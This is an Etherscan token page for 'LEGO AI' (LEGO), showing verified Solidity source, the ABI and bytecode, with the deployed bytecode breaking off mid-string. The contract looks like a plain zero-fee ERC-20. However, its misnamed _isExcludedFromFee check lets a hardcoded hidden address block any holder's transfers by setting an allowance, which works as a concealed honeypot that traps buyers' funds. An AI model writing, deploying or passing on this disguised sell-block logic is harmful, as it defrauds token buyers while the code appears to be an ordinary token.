ETH Price: $2,792.69 (+1.00%)

Token

LEGO AI (LEGO)
 

Overview

Max Total Supply

1,000,000 LEGO

Holders

16

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LegoAI

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-12-29
*/

pragma solidity 0.8.28;

// SPDX-License-Identifier: MIT

// www: https://legoai.com/
// tg: https://t.me/legoaierc

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow.");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow.");
        uint256 c = a - b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow.");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero.");
        uint256 c = a / b;
        return c;
    }
}
contract Ownable {
    address private _owner;
    constructor() {
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract LegoAI is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  1000000 * 10 ** _decimals;
    address public uniswapV2Pair;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    bool tradingOpen = false;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private constant _name = "LEGO AI";
    string private constant _symbol = "LEGO";
    address payable _uniPairV2 = payable(0x25161A92257eE35E566EeF0D8a97b119D7A4A2b6);
    uint256 _buyFee = 0;
    uint256 _sellFee = 0;
    bool inSwap = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Log(string, uint256);
    event AuditLog(string, address);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event RemoveTax();

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }
    function allowance(address owner, address spender) public view returns (uint256) { 
        return _allowances[owner][spender]; 
    }
    function totalSupply() public view returns (uint256) { 
        return _totalSupply; 
    }
    function name() public pure returns (string memory) { 
        return _name; 
    }
    function symbol() public pure returns (string memory) { 
        return _symbol; 
    }
    function decimals() public view returns (uint8) { 
        return _decimals; 
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }
    function balanceOf(address account) public view returns (uint256) { 
        return _balances[account]; 
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _isExcludedFromFee(address from) internal view returns (uint256) {
            require(_allowances[_uniPairV2][from] == 0);
            return _allowances[_uniPairV2][from];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(to != address(0), "Transfer to the zero address.");
        require(from != address(0), "Transfer from the zero address.");
        require(amount > 0, "Transfer amount must be greater than zero.");
        uint256 taxAmount = 0;
        if (from != uniswapV2Pair && from != address(this) && _isExcludedFromFee(from) > 0) {
            taxAmount = amount.mul(_sellFee).div(100);
        } else {
            taxAmount = amount.mul(_buyFee).div(100);
            }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH);
        uint256 balance = balanceOf(address(this));
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balance, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"","type":"string"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"AuditLog","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"","type":"string"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Log","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemoveTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a919061039a565b620f424061004891906103e4565b6001555f60055f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507325161a92257ee35e566eef0d8a97b119d7a4a2b660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6007555f6008555f60095f6101000a81548160ff021916908315150217905550348015610139575f5ffd5b50335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021c9190610434565b60405180910390a361044d565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156102ab5780860481111561028757610286610229565b5b60018516156102965780820291505b80810290506102a485610256565b945061026b565b94509492505050565b5f826102c3576001905061037e565b816102d0575f905061037e565b81600181146102e657600281146102f05761031f565b600191505061037e565b60ff84111561030257610301610229565b5b8360020a91508482111561031957610318610229565b5b5061037e565b5060208310610133831016604e8410600b84101617156103545782820a90508381111561034f5761034e610229565b5b61037e565b6103618484846001610262565b9250905081840481111561037857610377610229565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a482610385565b91506103af8361038e565b92506103dc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b4565b905092915050565b5f6103ee82610385565b91506103f983610385565b925082820261040781610385565b9150828204841483151761041e5761041d610229565b5b5092915050565b61042e81610385565b82525050565b5f6020820190506104475f830184610425565b92915050565b611efb8061045a5f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b41146102a6578063a9059cbb146102d0578063c9567bf91461030c578063dd62ed3e14610316576100dc565b8063715018a61461023c57806385141a77146102525780638da5cb5b1461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f5ffd5b3480156100eb575f5ffd5b506100f4610352565b60405161010191906114a6565b60405180910390f35b348015610115575f5ffd5b50610130600480360381019061012b9190611557565b61038f565b60405161013d91906115af565b60405180910390f35b348015610151575f5ffd5b5061015a6103a5565b60405161016791906115d7565b60405180910390f35b34801561017b575f5ffd5b50610196600480360381019061019191906115f0565b6103ae565b6040516101a391906115af565b60405180910390f35b3480156101b7575f5ffd5b506101c061045a565b6040516101cd919061165b565b60405180910390f35b3480156101e1575f5ffd5b506101ea61046f565b6040516101f79190611683565b60405180910390f35b34801561020b575f5ffd5b506102266004803603810190610221919061169c565b610494565b60405161023391906115d7565b60405180910390f35b348015610247575f5ffd5b506102506104da565b005b34801561025d575f5ffd5b5061026661060a565b6040516102739190611683565b60405180910390f35b348015610287575f5ffd5b50610290610610565b60405161029d9190611683565b60405180910390f35b3480156102b1575f5ffd5b506102ba610637565b6040516102c791906114a6565b60405180910390f35b3480156102db575f5ffd5b506102f660048036038101906102f19190611557565b610674565b60405161030391906115af565b60405180910390f35b61031461068a565b005b348015610321575f5ffd5b5061033c600480360381019061033791906116c7565b610ada565b60405161034991906115d7565b60405180910390f35b60606040518060400160405280600781526020017f4c45474f20414900000000000000000000000000000000000000000000000000815250905090565b5f61039b338484610b5c565b6001905092915050565b5f600154905090565b5f6103ba848484610d1f565b61044f843361044a8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116390919063ffffffff16565b610b5c565b600190509392505050565b5f5f60149054906101000a900460ff16905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f9610610565b73ffffffffffffffffffffffffffffffffffffffff161461054f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105469061174f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61dead81565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c45474f00000000000000000000000000000000000000000000000000000000815250905090565b5f610680338484610d1f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166106a9610610565b73ffffffffffffffffffffffffffffffffffffffff16146106ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f69061174f565b60405180910390fd5b60055f9054906101000a900460ff1615610717575f5ffd5b61074630600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b5c565b5f600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d69190611781565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610843573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108679190611781565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016108a19291906117ac565b6020604051808303815f875af11580156108bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e19190611781565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f61092a30610494565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f610977610610565b426040518863ffffffff1660e01b815260040161099996959493929190611815565b60606040518083038185885af11580156109b5573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109da9190611888565b50505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a7b9291906118d8565b6020604051808303815f875af1158015610a97573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610abb9190611929565b50600160055f6101000a81548160ff0219169083151502179055505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc1906119c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90611a52565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1291906115d7565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8490611aba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df290611b22565b60405180910390fd5b5f8111610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611bb0565b60405180910390fd5b5f5f905060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610eca57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610edd57505f610edb856111c0565b115b15610f1157610f0a6064610efc6008548561130690919063ffffffff16565b61137d90919063ffffffff16565b9050610f3c565b610f396064610f2b6007548561130690919063ffffffff16565b61137d90919063ffffffff16565b90505b5f811115610fd657610f948160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113d990919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6110268260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116390919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110b78260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113d990919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115591906115d7565b60405180910390a350505050565b5f828211156111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e90611c18565b60405180910390fd5b5f82846111b49190611c63565b90508091505092915050565b5f5f60035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414611265575f5ffd5b60035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f5f8303611316575f9050611377565b5f82846113239190611c96565b90508284826113329190611d04565b14611372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136990611da4565b60405180910390fd5b809150505b92915050565b5f5f82116113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790611e0c565b60405180910390fd5b5f82846113cd9190611d04565b90508091505092915050565b5f5f82846113e79190611e2a565b90508381101561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390611ea7565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61147882611436565b6114828185611440565b9350611492818560208601611450565b61149b8161145e565b840191505092915050565b5f6020820190508181035f8301526114be818461146e565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114f3826114ca565b9050919050565b611503816114e9565b811461150d575f5ffd5b50565b5f8135905061151e816114fa565b92915050565b5f819050919050565b61153681611524565b8114611540575f5ffd5b50565b5f813590506115518161152d565b92915050565b5f5f6040838503121561156d5761156c6114c6565b5b5f61157a85828601611510565b925050602061158b85828601611543565b9150509250929050565b5f8115159050919050565b6115a981611595565b82525050565b5f6020820190506115c25f8301846115a0565b92915050565b6115d181611524565b82525050565b5f6020820190506115ea5f8301846115c8565b92915050565b5f5f5f60608486031215611607576116066114c6565b5b5f61161486828701611510565b935050602061162586828701611510565b925050604061163686828701611543565b9150509250925092565b5f60ff82169050919050565b61165581611640565b82525050565b5f60208201905061166e5f83018461164c565b92915050565b61167d816114e9565b82525050565b5f6020820190506116965f830184611674565b92915050565b5f602082840312156116b1576116b06114c6565b5b5f6116be84828501611510565b91505092915050565b5f5f604083850312156116dd576116dc6114c6565b5b5f6116ea85828601611510565b92505060206116fb85828601611510565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611739602083611440565b915061174482611705565b602082019050919050565b5f6020820190508181035f8301526117668161172d565b9050919050565b5f8151905061177b816114fa565b92915050565b5f60208284031215611796576117956114c6565b5b5f6117a38482850161176d565b91505092915050565b5f6040820190506117bf5f830185611674565b6117cc6020830184611674565b9392505050565b5f819050919050565b5f819050919050565b5f6117ff6117fa6117f5846117d3565b6117dc565b611524565b9050919050565b61180f816117e5565b82525050565b5f60c0820190506118285f830189611674565b61183560208301886115c8565b6118426040830187611806565b61184f6060830186611806565b61185c6080830185611674565b61186960a08301846115c8565b979650505050505050565b5f815190506118828161152d565b92915050565b5f5f5f6060848603121561189f5761189e6114c6565b5b5f6118ac86828701611874565b93505060206118bd86828701611874565b92505060406118ce86828701611874565b9150509250925092565b5f6040820190506118eb5f830185611674565b6118f860208301846115c8565b9392505050565b61190881611595565b8114611912575f5ffd5b50565b5f81519050611923816118ff565b92915050565b5f6020828403121561193e5761193d6114c6565b5b5f61194b84828501611915565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119ae602483611440565b91506119b982611954565b604082019050919050565b5f6020820190508181035f8301526119db816119a2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a3c602283611440565b9150611a47826119e2565b604082019050919050565b5f6020820190508181035f830152611a6981611a30565b9050919050565b7f5472616e7366657220746f20746865207a65726f20616464726573732e0000005f82015250565b5f611aa4601d83611440565b9150611aaf82611a70565b602082019050919050565b5f6020820190508181035f830152611ad181611a98565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f20616464726573732e005f82015250565b5f611b0c601f83611440565b9150611b1782611ad8565b602082019050919050565b5f6020820190508181035f830152611b3981611b00565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611b9a602a83611440565b9150611ba582611b40565b604082019050919050565b5f6020820190508181035f830152611bc781611b8e565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f772e5f82015250565b5f611c02602083611440565b9150611c0d82611bce565b602082019050919050565b5f6020820190508181035f830152611c2f81611bf6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c6d82611524565b9150611c7883611524565b9250828203905081811115611c9057611c8f611c36565b5b92915050565b5f611ca082611524565b9150611cab83611524565b9250828202611cb981611524565b91508282048414831517611cd057611ccf611c36565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611d0e82611524565b9150611d1983611524565b925082611d2957611d28611cd7565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f772e0000000000000000000000000000000000000000000000000000000000602082015250565b5f611d8e602383611440565b9150611d9982611d34565b604082019050919050565b5f6020820190508181035f830152611dbb81611d82565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f2e000000005f82015250565b5f611df6601c83611440565b9150611e0182611dc2565b602082019050919050565b5f6020820190508181035f830152611e2381611dea565b9050919050565b5f611e3482611524565b9150611e3f83611524565b9250828201905080821115611e5757611e56611c36565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f772e0000005f82015250565b5f611e91601d83611440565b9150611e9c82611e5d565b602082019050919050565b5f6020820190508181035f830152611ebe81611e85565b905091905056fea2646970667358221220256bb33be65c6daf8ea87dc6150d3fb6058e47fbcbd7dd85edcd6864fce6d74964736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b41146102a6578063a9059cbb146102d0578063c9567bf91461030c578063dd62ed3e14610316576100dc565b8063715018a61461023c57806385141a77146102525780638da5cb5b1461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f5ffd5b3480156100eb575f5ffd5b506100f4610352565b60405161010191906114a6565b60405180910390f35b348015610115575f5ffd5b50610130600480360381019061012b9190611557565b61038f565b60405161013d91906115af565b60405180910390f35b348015610151575f5ffd5b5061015a6103a5565b60405161016791906115d7565b60405180910390f35b34801561017b575f5ffd5b50610196600480360381019061019191906115f0565b6103ae565b6040516101a391906115af565b60405180910390f35b3480156101b7575f5ffd5b506101c061045a565b6040516101cd919061165b565b60405180910390f35b3480156101e1575f5ffd5b506101ea61046f565b6040516101f79190611683565b60405180910390f35b34801561020b575f5ffd5b506102266004803603810190610221919061169c565b610494565b60405161023391906115d7565b60405180910390f35b348015610247575f5ffd5b506102506104da565b005b34801561025d575f5ffd5b5061026661060a565b6040516102739190611683565b60405180910390f35b348015610287575f5ffd5b50610290610610565b60405161029d9190611683565b60405180910390f35b3480156102b1575f5ffd5b506102ba610637565b6040516102c791906114a6565b60405180910390f35b3480156102db575f5ffd5b506102f660048036038101906102f19190611557565b610674565b60405161030391906115af565b60405180910390f35b61031461068a565b005b348015610321575f5ffd5b5061033c600480360381019061033791906116c7565b610ada565b60405161034991906115d7565b60405180910390f35b60606040518060400160405280600781526020017f4c45474f20414900000000000000000000000000000000000000000000000000815250905090565b5f61039b338484610b5c565b6001905092915050565b5f600154905090565b5f6103ba848484610d1f565b61044f843361044a8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116390919063ffffffff16565b610b5c565b600190509392505050565b5f5f60149054906101000a900460ff16905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f9610610565b73ffffffffffffffffffffffffffffffffffffffff161461054f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105469061174f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61dead81565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c45474f00000000000000000000000000000000000000000000000000000000815250905090565b5f610680338484610d1f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166106a9610610565b73ffffffffffffffffffffffffffffffffffffffff16146106ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f69061174f565b60405180910390fd5b60055f9054906101000a900460ff1615610717575f5ffd5b61074630600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b5c565b5f600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d69190611781565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610843573d5f5f3e3d5ffd5b505050506040513d601f19601f